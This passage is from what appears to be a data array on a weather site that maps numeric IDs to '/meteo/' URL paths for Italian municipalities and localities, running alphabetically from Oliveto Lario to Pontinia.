\"/meteo/Oliveto+lario\",8426 => \"/meteo/Oliveto+lucano\",4743 => \"/meteo/Olivetta+san+michele\",4744 => \"/meteo/Olivola\",4745 => \"/meteo/Ollastra+simaxis\",4746 => \"/meteo/Ollolai\",4747 => \"/meteo/Ollomont\",4748 => \"/meteo/Olmedo\",4749 => \"/meteo/Olmeneta\",4750 => \"/meteo/Olmo+al+brembo\",4751 => \"/meteo/Olmo+gentile\",4752 => \"/meteo/Oltre+il+colle\",4753 => \"/meteo/Oltressenda+alta\",4754 => \"/meteo/Oltrona+di+san+mamette\",4755 => \"/meteo/Olzai\",4756 => \"/meteo/Ome\",4757 => \"/meteo/Omegna\",4758 => \"/meteo/Omignano\",4759 => \"/meteo/Onani\",4760 => \"/meteo/Onano\",4761 => \"/meteo/Oncino\",8283 => \"/meteo/Oneglia\",4762 => \"/meteo/Oneta\",4763 => \"/meteo/Onifai\",4764 => \"/meteo/Oniferi\",8664 => \"/meteo/Onna\",4765 => \"/meteo/Ono+san+pietro\",4766 => \"/meteo/Onore\",4767 => \"/meteo/Onzo\",4768 => \"/meteo/Opera\",4769 => \"/meteo/Opi\",4770 => \"/meteo/Oppeano\",8409 => \"/meteo/Oppido+lucano\",4772 => \"/meteo/Oppido+mamertina\",4773 => \"/meteo/Ora\",4774 => \"/meteo/Orani\",4775 => \"/meteo/Oratino\",4776 => \"/meteo/Orbassano\",4777 => \"/meteo/Orbetello\",4778 => \"/meteo/Orciano+di+pesaro\",4779 => \"/meteo/Orciano+pisano\",4780 => \"/meteo/Orco+feglino\",4781 => \"/meteo/Ordona\",4782 => \"/meteo/Orero\",4783 => \"/meteo/Orgiano\",4784 => \"/meteo/Orgosolo\",4785 => \"/meteo/Oria\",4786 => \"/meteo/Oricola\",4787 => \"/meteo/Origgio\",4788 => \"/meteo/Orino\",4789 => \"/meteo/Orio+al+serio\",4790 => \"/meteo/Orio+canavese\",4791 => \"/meteo/Orio+litta\",4792 => \"/meteo/Oriolo\",4793 => \"/meteo/Oriolo+romano\",4794 => \"/meteo/Oristano\",4795 => \"/meteo/Ormea\",4796 => \"/meteo/Ormelle\",4797 => \"/meteo/Ornago\",4798 => \"/meteo/Ornavasso\",4799 => \"/meteo/Ornica\",8348 => \"/meteo/Oropa\",8169 => \"/meteo/Orosei\",4801 => \"/meteo/Orotelli\",4802 => \"/meteo/Orria\",4803 => \"/meteo/Orroli\",4804 => \"/meteo/Orsago\",4805 => \"/meteo/Orsara+bormida\",4806 => \"/meteo/Orsara+di+puglia\",4807 => \"/meteo/Orsenigo\",4808 => \"/meteo/Orsogna\",4809 => \"/meteo/Orsomarso\",4810 => \"/meteo/Orta+di+atella\",4811 => \"/meteo/Orta+nova\",4812 => \"/meteo/Orta+san+giulio\",4813 => \"/meteo/Ortacesus\",4814 => \"/meteo/Orte\",8460 => \"/meteo/Orte+casello\",4815 => \"/meteo/Ortelle\",4816 => \"/meteo/Ortezzano\",4817 => \"/meteo/Ortignano+raggiolo\",4818 => \"/meteo/Ortisei\",8725 => \"/meteo/Ortles\",4819 => \"/meteo/Ortona\",4820 => \"/meteo/Ortona+dei+marsi\",4821 => \"/meteo/Ortonovo\",4822 => \"/meteo/Ortovero\",4823 => \"/meteo/Ortucchio\",4824 => \"/meteo/Ortueri\",4825 => \"/meteo/Orune\",4826 => \"/meteo/Orvieto\",8459 => \"/meteo/Orvieto+casello\",4827 => \"/meteo/Orvinio\",4828 => \"/meteo/Orzinuovi\",4829 => \"/meteo/Orzivecchi\",4830 => \"/meteo/Osasco\",4831 => \"/meteo/Osasio\",4832 => \"/meteo/Oschiri\",4833 => \"/meteo/Osidda\",4834 => \"/meteo/Osiglia\",4835 => \"/meteo/Osilo\",4836 => \"/meteo/Osimo\",4837 => \"/meteo/Osini\",4838 => \"/meteo/Osio+sopra\",4839 => \"/meteo/Osio+sotto\",4840 => \"/meteo/Osmate\",4841 => \"/meteo/Osnago\",8465 => \"/meteo/Osoppo\",4843 => \"/meteo/Ospedaletti\",4844 => \"/meteo/Ospedaletto\",4845 => \"/meteo/Ospedaletto+d'alpinolo\",4846 => \"/meteo/Ospedaletto+euganeo\",4847 => \"/meteo/Ospedaletto+lodigiano\",4848 => \"/meteo/Ospitale+di+cadore\",4849 => \"/meteo/Ospitaletto\",4850 => \"/meteo/Ossago+lodigiano\",4851 => \"/meteo/Ossana\",4852 => \"/meteo/Ossi\",4853 => \"/meteo/Ossimo\",4854 => \"/meteo/Ossona\",4855 => \"/meteo/Ossuccio\",4856 => \"/meteo/Ostana\",4857 => \"/meteo/Ostellato\",4858 => \"/meteo/Ostiano\",4859 => \"/meteo/Ostiglia\",4860 => \"/meteo/Ostra\",4861 => \"/meteo/Ostra+vetere\",4862 => \"/meteo/Ostuni\",4863 => \"/meteo/Otranto\",4864 => \"/meteo/Otricoli\",4865 => \"/meteo/Ottana\",4866 => \"/meteo/Ottati\",4867 => \"/meteo/Ottaviano\",4868 => \"/meteo/Ottiglio\",4869 => \"/meteo/Ottobiano\",4870 => \"/meteo/Ottone\",4871 => \"/meteo/Oulx\",4872 => \"/meteo/Ovada\",4873 => \"/meteo/Ovaro\",4874 => \"/meteo/Oviglio\",4875 => \"/meteo/Ovindoli\",4876 => \"/meteo/Ovodda\",4877 => \"/meteo/Oyace\",4878 => \"/meteo/Ozegna\",4879 => \"/meteo/Ozieri\",4880 => \"/meteo/Ozzano+dell'emilia\",4881 => \"/meteo/Ozzano+monferrato\",4882 => \"/meteo/Ozzero\",4883 => \"/meteo/Pabillonis\",4884 => \"/meteo/Pace+del+mela\",4885 => \"/meteo/Paceco\",4886 => \"/meteo/Pacentro\",4887 => \"/meteo/Pachino\",4888 => \"/meteo/Paciano\",4889 => \"/meteo/Padenghe+sul+garda\",4890 => \"/meteo/Padergnone\",4891 => \"/meteo/Paderna\",4892 => \"/meteo/Paderno+d'adda\",4893 => \"/meteo/Paderno+del+grappa\",4894 => \"/meteo/Paderno+dugnano\",4895 => \"/meteo/Paderno+franciacorta\",4896 => \"/meteo/Paderno+ponchielli\",4897 => \"/meteo/Padova\",4898 => \"/meteo/Padria\",4899 => \"/meteo/Padru\",4900 => \"/meteo/Padula\",4901 => \"/meteo/Paduli\",4902 => \"/meteo/Paesana\",4903 => \"/meteo/Paese\",8713 => \"/meteo/Paestum\",8203 => \"/meteo/Paganella\",4904 => \"/meteo/Pagani\",8663 => \"/meteo/Paganica\",4905 => \"/meteo/Paganico\",4906 => \"/meteo/Pagazzano\",4907 => \"/meteo/Pagliara\",4908 => \"/meteo/Paglieta\",4909 => \"/meteo/Pagnacco\",4910 => \"/meteo/Pagno\",4911 => \"/meteo/Pagnona\",4912 => \"/meteo/Pago+del+vallo+di+lauro\",4913 => \"/meteo/Pago+veiano\",4914 => \"/meteo/Paisco+loveno\",4915 => \"/meteo/Paitone\",4916 => \"/meteo/Paladina\",8534 => \"/meteo/Palafavera\",4917 => \"/meteo/Palagano\",4918 => \"/meteo/Palagianello\",4919 => \"/meteo/Palagiano\",4920 => \"/meteo/Palagonia\",4921 => \"/meteo/Palaia\",4922 => \"/meteo/Palanzano\",4923 => \"/meteo/Palata\",4924 => \"/meteo/Palau\",4925 => \"/meteo/Palazzago\",4926 => \"/meteo/Palazzo+adriano\",4927 => \"/meteo/Palazzo+canavese\",4928 => \"/meteo/Palazzo+pignano\",4929 => \"/meteo/Palazzo+san+gervasio\",4930 => \"/meteo/Palazzolo+acreide\",4931 => \"/meteo/Palazzolo+dello+stella\",4932 => \"/meteo/Palazzolo+sull'Oglio\",4933 => \"/meteo/Palazzolo+vercellese\",4934 => \"/meteo/Palazzuolo+sul+senio\",4935 => \"/meteo/Palena\",4936 => \"/meteo/Palermiti\",4937 => \"/meteo/Palermo\",8575 => \"/meteo/Palermo+Boccadifalco\",8272 => \"/meteo/Palermo+Punta+Raisi\",4938 => \"/meteo/Palestrina\",4939 => \"/meteo/Palestro\",4940 => \"/meteo/Paliano\",8121 => \"/meteo/Palinuro\",4941 => \"/meteo/Palizzi\",8108 => \"/meteo/Palizzi+Marina\",4942 => \"/meteo/Pallagorio\",4943 => \"/meteo/Pallanzeno\",4944 => \"/meteo/Pallare\",4945 => \"/meteo/Palma+campania\",4946 => \"/meteo/Palma+di+montechiaro\",4947 => \"/meteo/Palmanova\",4948 => \"/meteo/Palmariggi\",4949 => \"/meteo/Palmas+arborea\",4950 => \"/meteo/Palmi\",4951 => \"/meteo/Palmiano\",4952 => \"/meteo/Palmoli\",4953 => \"/meteo/Palo+del+colle\",4954 => \"/meteo/Palombara+sabina\",4955 => \"/meteo/Palombaro\",4956 => \"/meteo/Palomonte\",4957 => \"/meteo/Palosco\",4958 => \"/meteo/Palu'\",4959 => \"/meteo/Palu'+del+fersina\",4960 => \"/meteo/Paludi\",4961 => \"/meteo/Paluzza\",4962 => \"/meteo/Pamparato\",8257 => \"/meteo/Pampeago\",8753 => \"/meteo/Panarotta\",4963 => \"/meteo/Pancalieri\",8261 => \"/meteo/Pancani\",4964 => \"/meteo/Pancarana\",4965 => \"/meteo/Panchia'\",4966 => \"/meteo/Pandino\",4967 => \"/meteo/Panettieri\",4968 => \"/meteo/Panicale\",4969 => \"/meteo/Pannarano\",4970 => \"/meteo/Panni\",4971 => \"/meteo/Pantelleria\",4972 => \"/meteo/Pantigliate\",4973 => \"/meteo/Paola\",4974 => \"/meteo/Paolisi\",4975 => \"/meteo/Papasidero\",4976 => \"/meteo/Papozze\",4977 => \"/meteo/Parabiago\",4978 => \"/meteo/Parabita\",4979 => \"/meteo/Paratico\",4980 => \"/meteo/Parcines\",4981 => \"/meteo/Pare'\",4982 => \"/meteo/Parella\",4983 => \"/meteo/Parenti\",4984 => \"/meteo/Parete\",4985 => \"/meteo/Pareto\",4986 => \"/meteo/Parghelia\",4987 => \"/meteo/Parlasco\",4988 => \"/meteo/Parma\",8554 => \"/meteo/Parma+Verdi\",4989 => \"/meteo/Parodi+ligure\",4990 => \"/meteo/Paroldo\",4991 => \"/meteo/Parolise\",4992 => \"/meteo/Parona\",4993 => \"/meteo/Parrano\",4994 => \"/meteo/Parre\",4995 => \"/meteo/Partanna\",4996 => \"/meteo/Partinico\",4997 => \"/meteo/Paruzzaro\",4998 => \"/meteo/Parzanica\",4999 => \"/meteo/Pasian+di+prato\",5000 => \"/meteo/Pasiano+di+pordenone\",5001 => \"/meteo/Paspardo\",5002 => \"/meteo/Passerano+Marmorito\",5003 => \"/meteo/Passignano+sul+trasimeno\",5004 => \"/meteo/Passirano\",8613 => \"/meteo/Passo+Bernina\",8760 => \"/meteo/Passo+Campolongo\",8329 => \"/meteo/Passo+Costalunga\",8618 => \"/meteo/Passo+dei+Salati\",8207 => \"/meteo/Passo+del+Brennero\",8577 => \"/meteo/Passo+del+Brocon\",8627 => \"/meteo/Passo+del+Cerreto\",8147 => \"/meteo/Passo+del+Foscagno\",8308 => \"/meteo/Passo+del+Lupo\",8206 => \"/meteo/Passo+del+Rombo\",8150 => \"/meteo/Passo+del+Tonale\",8196 => \"/meteo/Passo+della+Cisa\",8235 => \"/meteo/Passo+della+Consuma\",8290 => \"/meteo/Passo+della+Presolana\",8659 => \"/meteo/Passo+delle+Fittanze\",8145 => \"/meteo/Passo+dello+Stelvio\",8213 => \"/meteo/Passo+di+Resia\",8752 => \"/meteo/Passo+di+Vezzena\",8328 => \"/meteo/Passo+Fedaia\",8759 => \"/meteo/Passo+Gardena\",8277 => \"/meteo/Passo+Groste'\",8756 => \"/meteo/Passo+Lanciano\",8280 => \"/meteo/Passo+Pordoi\",8626 => \"/meteo/Passo+Pramollo\",8210 => \"/meteo/Passo+Rolle\",8279 => \"/meteo/Passo+San+Pellegrino\",8325 => \"/meteo/Passo+Sella\",5005 => \"/meteo/Pastena\",5006 => \"/meteo/Pastorano\",5007 => \"/meteo/Pastrengo\",5008 => \"/meteo/Pasturana\",5009 => \"/meteo/Pasturo\",8417 => \"/meteo/Paterno\",5011 => \"/meteo/Paterno+calabro\",5012 => \"/meteo/Paterno'\",5013 => \"/meteo/Paternopoli\",5014 => \"/meteo/Patrica\",5015 => \"/meteo/Pattada\",5016 => \"/meteo/Patti\",5017 => \"/meteo/Patu'\",5018 => \"/meteo/Pau\",5019 => \"/meteo/Paularo\",5020 => \"/meteo/Pauli+arbarei\",5021 => \"/meteo/Paulilatino\",5022 => \"/meteo/Paullo\",5023 => \"/meteo/Paupisi\",5024 => \"/meteo/Pavarolo\",5025 => \"/meteo/Pavia\",5026 => \"/meteo/Pavia+di+udine\",5027 => \"/meteo/Pavone+canavese\",5028 => \"/meteo/Pavone+del+mella\",5029 => \"/meteo/Pavullo+nel+frignano\",5030 => \"/meteo/Pazzano\",5031 => \"/meteo/Peccioli\",5032 => \"/meteo/Pecco\",5033 => \"/meteo/Pecetto+di+valenza\",5034 => \"/meteo/Pecetto+torinese\",5035 => \"/meteo/Pecorara\",5036 => \"/meteo/Pedace\",5037 => \"/meteo/Pedara\",5038 => \"/meteo/Pedaso\",5039 => \"/meteo/Pedavena\",5040 => \"/meteo/Pedemonte\",5041 => \"/meteo/Pederobba\",5042 => \"/meteo/Pedesina\",5043 => \"/meteo/Pedivigliano\",8473 => \"/meteo/Pedraces\",5044 => \"/meteo/Pedrengo\",5045 => \"/meteo/Peglio\",5046 => \"/meteo/Peglio\",5047 => \"/meteo/Pegognaga\",5048 => \"/meteo/Peia\",8665 => \"/meteo/Pejo\",5050 => \"/meteo/Pelago\",5051 => \"/meteo/Pella\",5052 => \"/meteo/Pellegrino+parmense\",5053 => \"/meteo/Pellezzano\",5054 => \"/meteo/Pellio+intelvi\",5055 => \"/meteo/Pellizzano\",5056 => \"/meteo/Pelugo\",5057 => \"/meteo/Penango\",5058 => \"/meteo/Penna+in+teverina\",5059 => \"/meteo/Penna+san+giovanni\",5060 => \"/meteo/Penna+sant'andrea\",5061 => \"/meteo/Pennabilli\",5062 => \"/meteo/Pennadomo\",5063 => \"/meteo/Pennapiedimonte\",5064 => \"/meteo/Penne\",8208 => \"/meteo/Pennes\",5065 => \"/meteo/Pentone\",5066 => \"/meteo/Perano\",5067 => \"/meteo/Perarolo+di+cadore\",5068 => \"/meteo/Perca\",5069 => \"/meteo/Percile\",5070 => \"/meteo/Perdasdefogu\",5071 => \"/meteo/Perdaxius\",5072 => \"/meteo/Perdifumo\",5073 => \"/meteo/Perego\",5074 => \"/meteo/Pereto\",5075 => \"/meteo/Perfugas\",5076 => \"/meteo/Pergine+valdarno\",5077 => \"/meteo/Pergine+valsugana\",5078 => \"/meteo/Pergola\",5079 => \"/meteo/Perinaldo\",5080 => \"/meteo/Perito\",5081 => \"/meteo/Perledo\",5082 => \"/meteo/Perletto\",5083 => \"/meteo/Perlo\",5084 => \"/meteo/Perloz\",5085 => \"/meteo/Pernumia\",5086 => \"/meteo/Pero\",5087 => \"/meteo/Perosa+argentina\",5088 => \"/meteo/Perosa+canavese\",5089 => \"/meteo/Perrero\",5090 => \"/meteo/Persico+dosimo\",5091 => \"/meteo/Pertengo\",5092 => \"/meteo/Pertica+alta\",5093 => \"/meteo/Pertica+bassa\",8586 => \"/meteo/Perticara+di+Novafeltria\",5094 => \"/meteo/Pertosa\",5095 => \"/meteo/Pertusio\",5096 => \"/meteo/Perugia\",8555 => \"/meteo/Perugia+Sant'Egidio\",5097 => \"/meteo/Pesaro\",5098 => \"/meteo/Pescaglia\",5099 => \"/meteo/Pescantina\",5100 => \"/meteo/Pescara\",8275 => \"/meteo/Pescara+Liberi\",5101 => \"/meteo/Pescarolo+ed+uniti\",5102 => \"/meteo/Pescasseroli\",5103 => \"/meteo/Pescate\",8312 => \"/meteo/Pescegallo\",5104 => \"/meteo/Pesche\",5105 => \"/meteo/Peschici\",5106 => \"/meteo/Peschiera+borromeo\",5107 => \"/meteo/Peschiera+del+garda\",5108 => \"/meteo/Pescia\",5109 => \"/meteo/Pescina\",8454 => \"/meteo/Pescina+casello\",5110 => \"/meteo/Pesco+sannita\",5111 => \"/meteo/Pescocostanzo\",5112 => \"/meteo/Pescolanciano\",5113 => \"/meteo/Pescopagano\",5114 => \"/meteo/Pescopennataro\",5115 => \"/meteo/Pescorocchiano\",5116 => \"/meteo/Pescosansonesco\",5117 => \"/meteo/Pescosolido\",5118 => \"/meteo/Pessano+con+Bornago\",5119 => \"/meteo/Pessina+cremonese\",5120 => \"/meteo/Pessinetto\",5121 => \"/meteo/Petacciato\",5122 => \"/meteo/Petilia+policastro\",5123 => \"/meteo/Petina\",5124 => \"/meteo/Petralia+soprana\",5125 => \"/meteo/Petralia+sottana\",5126 => \"/meteo/Petrella+salto\",5127 => \"/meteo/Petrella+tifernina\",5128 => \"/meteo/Petriano\",5129 => \"/meteo/Petriolo\",5130 => \"/meteo/Petritoli\",5131 => \"/meteo/Petrizzi\",5132 => \"/meteo/Petrona'\",5133 => \"/meteo/Petrosino\",5134 => \"/meteo/Petruro+irpino\",5135 => \"/meteo/Pettenasco\",5136 => \"/meteo/Pettinengo\",5137 => \"/meteo/Pettineo\",5138 => \"/meteo/Pettoranello+del+molise\",5139 => \"/meteo/Pettorano+sul+gizio\",5140 => \"/meteo/Pettorazza+grimani\",5141 => \"/meteo/Peveragno\",5142 => \"/meteo/Pezzana\",5143 => \"/meteo/Pezzaze\",5144 => \"/meteo/Pezzolo+valle+uzzone\",5145 => \"/meteo/Piacenza\",5146 => \"/meteo/Piacenza+d'adige\",5147 => \"/meteo/Piadena\",5148 => \"/meteo/Piagge\",5149 => \"/meteo/Piaggine\",8706 => \"/meteo/Piamprato\",5150 => \"/meteo/Pian+camuno\",8309 => \"/meteo/Pian+Cavallaro\",8233 => \"/meteo/Pian+del+Cansiglio\",8642 => \"/meteo/Pian+del+Frais\",8705 => \"/meteo/Pian+della+Mussa\",8634 => \"/meteo/Pian+delle+Betulle\",5151 => \"/meteo/Pian+di+sco'\",8712 => \"/meteo/Pian+di+Sole\",5152 => \"/meteo/Piana+crixia\",5153 => \"/meteo/Piana+degli+albanesi\",8653 => \"/meteo/Piana+di+Marcesina\",5154 => \"/meteo/Piana+di+monte+verna\",8305 => \"/meteo/Pianalunga\",5155 => \"/meteo/Piancastagnaio\",8516 => \"/meteo/Piancavallo\",5156 => \"/meteo/Piancogno\",5157 => \"/meteo/Piandimeleto\",5158 => \"/meteo/Piane+crati\",8561 => \"/meteo/Piane+di+Mocogno\",5159 => \"/meteo/Pianella\",5160 => \"/meteo/Pianello+del+lario\",5161 => \"/meteo/Pianello+val+tidone\",5162 => \"/meteo/Pianengo\",5163 => \"/meteo/Pianezza\",5164 => \"/meteo/Pianezze\",5165 => \"/meteo/Pianfei\",8605 => \"/meteo/Piani+d'Erna\",8517 => \"/meteo/Piani+di+Artavaggio\",8234 => \"/meteo/Piani+di+Bobbio\",5166 => \"/meteo/Pianico\",5167 => \"/meteo/Pianiga\",8314 => \"/meteo/Piano+del+Voglio\",5168 => \"/meteo/Piano+di+Sorrento\",8630 => \"/meteo/Piano+Provenzana\",5169 => \"/meteo/Pianopoli\",5170 => \"/meteo/Pianoro\",5171 => \"/meteo/Piansano\",5172 => \"/meteo/Piantedo\",5173 => \"/meteo/Piario\",5174 => \"/meteo/Piasco\",5175 => \"/meteo/Piateda\",5176 => \"/meteo/Piatto\",5177 => \"/meteo/Piazza+al+serchio\",5178 => \"/meteo/Piazza+armerina\",5179 => \"/meteo/Piazza+brembana\",5180 => \"/meteo/Piazzatorre\",5181 => \"/meteo/Piazzola+sul+brenta\",5182 => \"/meteo/Piazzolo\",5183 => \"/meteo/Picciano\",5184 => \"/meteo/Picerno\",5185 => \"/meteo/Picinisco\",5186 => \"/meteo/Pico\",5187 => \"/meteo/Piea\",5188 => \"/meteo/Piedicavallo\",8218 => \"/meteo/Piediluco\",5189 => \"/meteo/Piedimonte+etneo\",5190 => \"/meteo/Piedimonte+matese\",5191 => \"/meteo/Piedimonte+san+germano\",5192 => \"/meteo/Piedimulera\",5193 => \"/meteo/Piegaro\",5194 => \"/meteo/Pienza\",5195 => \"/meteo/Pieranica\",5196 => \"/meteo/Pietra+de'giorgi\",5197 => \"/meteo/Pietra+ligure\",5198 => \"/meteo/Pietra+marazzi\",5199 => \"/meteo/Pietrabbondante\",5200 => \"/meteo/Pietrabruna\",5201 => \"/meteo/Pietracamela\",5202 => \"/meteo/Pietracatella\",5203 => \"/meteo/Pietracupa\",5204 => \"/meteo/Pietradefusi\",5205 => \"/meteo/Pietraferrazzana\",5206 => \"/meteo/Pietrafitta\",5207 => \"/meteo/Pietragalla\",5208 => \"/meteo/Pietralunga\",5209 => \"/meteo/Pietramelara\",5210 => \"/meteo/Pietramontecorvino\",5211 => \"/meteo/Pietranico\",5212 => \"/meteo/Pietrapaola\",5213 => \"/meteo/Pietrapertosa\",5214 => \"/meteo/Pietraperzia\",5215 => \"/meteo/Pietraporzio\",5216 => \"/meteo/Pietraroja\",5217 => \"/meteo/Pietrarubbia\",5218 => \"/meteo/Pietrasanta\",5219 => \"/meteo/Pietrastornina\",5220 => \"/meteo/Pietravairano\",5221 => \"/meteo/Pietrelcina\",5222 => \"/meteo/Pieve+a+nievole\",5223 => \"/meteo/Pieve+albignola\",5224 => \"/meteo/Pieve+d'alpago\",5225 => \"/meteo/Pieve+d'olmi\",5226 => \"/meteo/Pieve+del+cairo\",5227 => \"/meteo/Pieve+di+bono\",5228 => \"/meteo/Pieve+di+cadore\",5229 => \"/meteo/Pieve+di+cento\",5230 => \"/meteo/Pieve+di+coriano\",5231 => \"/meteo/Pieve+di+ledro\",5232 => \"/meteo/Pieve+di+soligo\",5233 => \"/meteo/Pieve+di+teco\",5234 => \"/meteo/Pieve+emanuele\",5235 => \"/meteo/Pieve+fissiraga\",5236 => \"/meteo/Pieve+fosciana\",5237 => \"/meteo/Pieve+ligure\",5238 => \"/meteo/Pieve+porto+morone\",5239 => \"/meteo/Pieve+san+giacomo\",5240 => \"/meteo/Pieve+santo+stefano\",5241 => \"/meteo/Pieve+tesino\",5242 => \"/meteo/Pieve+torina\",5243 => \"/meteo/Pieve+vergonte\",5244 => \"/meteo/Pievebovigliana\",5245 => \"/meteo/Pievepelago\",5246 => \"/meteo/Piglio\",5247 => \"/meteo/Pigna\",5248 => \"/meteo/Pignataro+interamna\",5249 => \"/meteo/Pignataro+maggiore\",5250 => \"/meteo/Pignola\",5251 => \"/meteo/Pignone\",5252 => \"/meteo/Pigra\",5253 => \"/meteo/Pila\",8221 => \"/meteo/Pila\",5254 => \"/meteo/Pimentel\",5255 => \"/meteo/Pimonte\",5256 => \"/meteo/Pinarolo+po\",5257 => \"/meteo/Pinasca\",5258 => \"/meteo/Pincara\",5259 => \"/meteo/Pinerolo\",5260 => \"/meteo/Pineto\",5261 => \"/meteo/Pino+d'asti\",5262 => \"/meteo/Pino+sulla+sponda+del+lago+magg.\",5263 => \"/meteo/Pino+torinese\",5264 => \"/meteo/Pinzano+al+tagliamento\",5265 => \"/meteo/Pinzolo\",5266 => \"/meteo/Piobbico\",5267 => \"/meteo/Piobesi+d'alba\",5268 => \"/meteo/Piobesi+torinese\",5269 => \"/meteo/Piode\",5270 => \"/meteo/Pioltello\",5271 => \"/meteo/Piombino\",5272 => \"/meteo/Piombino+dese\",5273 => \"/meteo/Pioraco\",5274 => \"/meteo/Piossasco\",5275 => \"/meteo/Piova'+massaia\",5276 => \"/meteo/Piove+di+sacco\",5277 => \"/meteo/Piovene+rocchette\",5278 => \"/meteo/Piovera\",5279 => \"/meteo/Piozzano\",5280 => \"/meteo/Piozzo\",5281 => \"/meteo/Piraino\",5282 => \"/meteo/Pisa\",8518 => \"/meteo/Pisa+San+Giusto\",5283 => \"/meteo/Pisano\",5284 => \"/meteo/Piscina\",5285 => \"/meteo/Piscinas\",5286 => \"/meteo/Pisciotta\",5287 => \"/meteo/Pisogne\",5288 => \"/meteo/Pisoniano\",5289 => \"/meteo/Pisticci\",5290 => \"/meteo/Pistoia\",5291 => \"/meteo/Piteglio\",5292 => \"/meteo/Pitigliano\",5293 => \"/meteo/Piubega\",5294 => \"/meteo/Piuro\",5295 => \"/meteo/Piverone\",5296 => \"/meteo/Pizzale\",5297 => \"/meteo/Pizzighettone\",5298 => \"/meteo/Pizzo\",8737 => \"/meteo/Pizzo+Arera\",8727 => \"/meteo/Pizzo+Bernina\",8736 => \"/meteo/Pizzo+dei+Tre+Signori\",8739 => \"/meteo/Pizzo+della+Presolana\",5299 => \"/meteo/Pizzoferrato\",5300 => \"/meteo/Pizzoli\",5301 => \"/meteo/Pizzone\",5302 => \"/meteo/Pizzoni\",5303 => \"/meteo/Placanica\",8342 => \"/meteo/Plaghera\",8685 => \"/meteo/Plain+Maison\",8324 => \"/meteo/Plain+Mason\",8337 => \"/meteo/Plan\",8469 => \"/meteo/Plan+Boè\",8633 => \"/meteo/Plan+Checrouit\",8204 => \"/meteo/Plan+de+Corones\",8576 => \"/meteo/Plan+in+Passiria\",5304 => \"/meteo/Plataci\",5305 => \"/meteo/Platania\",8241 => \"/meteo/Plateau+Rosa\",5306 => \"/meteo/Plati'\",5307 => \"/meteo/Plaus\",5308 => \"/meteo/Plesio\",5309 => \"/meteo/Ploaghe\",5310 => \"/meteo/Plodio\",8569 => \"/meteo/Plose\",5311 => \"/meteo/Pocapaglia\",5312 => \"/meteo/Pocenia\",5313 => \"/meteo/Podenzana\",5314 => \"/meteo/Podenzano\",5315 => \"/meteo/Pofi\",5316 => \"/meteo/Poggiardo\",5317 => \"/meteo/Poggibonsi\",5318 => \"/meteo/Poggio+a+caiano\",5319 => \"/meteo/Poggio+berni\",5320 => \"/meteo/Poggio+bustone\",5321 => \"/meteo/Poggio+catino\",5322 => \"/meteo/Poggio+imperiale\",5323 => \"/meteo/Poggio+mirteto\",5324 => \"/meteo/Poggio+moiano\",5325 => \"/meteo/Poggio+nativo\",5326 => \"/meteo/Poggio+picenze\",5327 => \"/meteo/Poggio+renatico\",5328 => \"/meteo/Poggio+rusco\",5329 => \"/meteo/Poggio+san+lorenzo\",5330 => \"/meteo/Poggio+san+marcello\",5331 => \"/meteo/Poggio+san+vicino\",5332 => \"/meteo/Poggio+sannita\",5333 => \"/meteo/Poggiodomo\",5334 => \"/meteo/Poggiofiorito\",5335 => \"/meteo/Poggiomarino\",5336 => \"/meteo/Poggioreale\",5337 => \"/meteo/Poggiorsini\",5338 => \"/meteo/Poggiridenti\",5339 => \"/meteo/Pogliano+milanese\",8339 => \"/meteo/Pogliola\",5340 => \"/meteo/Pognana+lario\",5341 => \"/meteo/Pognano\",5342 => \"/meteo/Pogno\",5343 => \"/meteo/Poiana+maggiore\",5344 => \"/meteo/Poirino\",5345 => \"/meteo/Polaveno\",5346 => \"/meteo/Polcenigo\",5347 => \"/meteo/Polesella\",5348 => \"/meteo/Polesine+parmense\",5349 => \"/meteo/Poli\",5350 => \"/meteo/Polia\",5351 => \"/meteo/Policoro\",5352 => \"/meteo/Polignano+a+mare\",5353 => \"/meteo/Polinago\",5354 => \"/meteo/Polino\",5355 => \"/meteo/Polistena\",5356 => \"/meteo/Polizzi+generosa\",5357 => \"/meteo/Polla\",5358 => \"/meteo/Pollein\",5359 => \"/meteo/Pollena+trocchia\",5360 => \"/meteo/Pollenza\",5361 => \"/meteo/Pollica\",5362 => \"/meteo/Pollina\",5363 => \"/meteo/Pollone\",5364 => \"/meteo/Pollutri\",5365 => \"/meteo/Polonghera\",5366 => \"/meteo/Polpenazze+del+garda\",8650 => \"/meteo/Polsa+San+Valentino\",5367 => \"/meteo/Polverara\",5368 => \"/meteo/Polverigi\",5369 => \"/meteo/Pomarance\",5370 => \"/meteo/Pomaretto\",8384 => \"/meteo/Pomarico\",5372 => \"/meteo/Pomaro+monferrato\",5373 => \"/meteo/Pomarolo\",5374 => \"/meteo/Pombia\",5375 => \"/meteo/Pomezia\",5376 => \"/meteo/Pomigliano+d'arco\",5377 => \"/meteo/Pompei\",5378 => \"/meteo/Pompeiana\",5379 => \"/meteo/Pompiano\",5380 => \"/meteo/Pomponesco\",5381 => \"/meteo/Pompu\",5382 => \"/meteo/Poncarale\",5383 => \"/meteo/Ponderano\",5384 => \"/meteo/Ponna\",5385 => \"/meteo/Ponsacco\",5386 => \"/meteo/Ponso\",8220 => \"/meteo/Pont\",5389 => \"/meteo/Pont+canavese\",5427 => \"/meteo/Pont+Saint+Martin\",5387 => \"/meteo/Pontassieve\",5388 => \"/meteo/Pontboset\",5390 => \"/meteo/Ponte\",5391 => \"/meteo/Ponte+buggianese\",5392 => \"/meteo/Ponte+dell'olio\",5393 => \"/meteo/Ponte+di+legno\",5394 => \"/meteo/Ponte+di+piave\",5395 => \"/meteo/Ponte+Gardena\",5396 => \"/meteo/Ponte+in+valtellina\",5397 => \"/meteo/Ponte+lambro\",5398 => \"/meteo/Ponte+nelle+alpi\",5399 => \"/meteo/Ponte+nizza\",5400 => \"/meteo/Ponte+nossa\",5401 => \"/meteo/Ponte+San+Nicolo'\",5402 => \"/meteo/Ponte+San+Pietro\",5403 => \"/meteo/Pontebba\",5404 => \"/meteo/Pontecagnano+faiano\",5405 => \"/meteo/Pontecchio+polesine\",5406 => \"/meteo/Pontechianale\",5407 => \"/meteo/Pontecorvo\",5408 => \"/meteo/Pontecurone\",5409 => \"/meteo/Pontedassio\",5410 => \"/meteo/Pontedera\",5411 => \"/meteo/Pontelandolfo\",5412 => \"/meteo/Pontelatone\",5413 => \"/meteo/Pontelongo\",5414 => \"/meteo/Pontenure\",5415 => \"/meteo/Ponteranica\",5416 => \"/meteo/Pontestura\",5417 => \"/meteo/Pontevico\",5418 => \"/meteo/Pontey\",5419 => \"/meteo/Ponti\",5420 => \"/meteo/Ponti+sul+mincio\",5421 => \"/meteo/Pontida\",5422 => \"/meteo/Pontinia\",5423 => 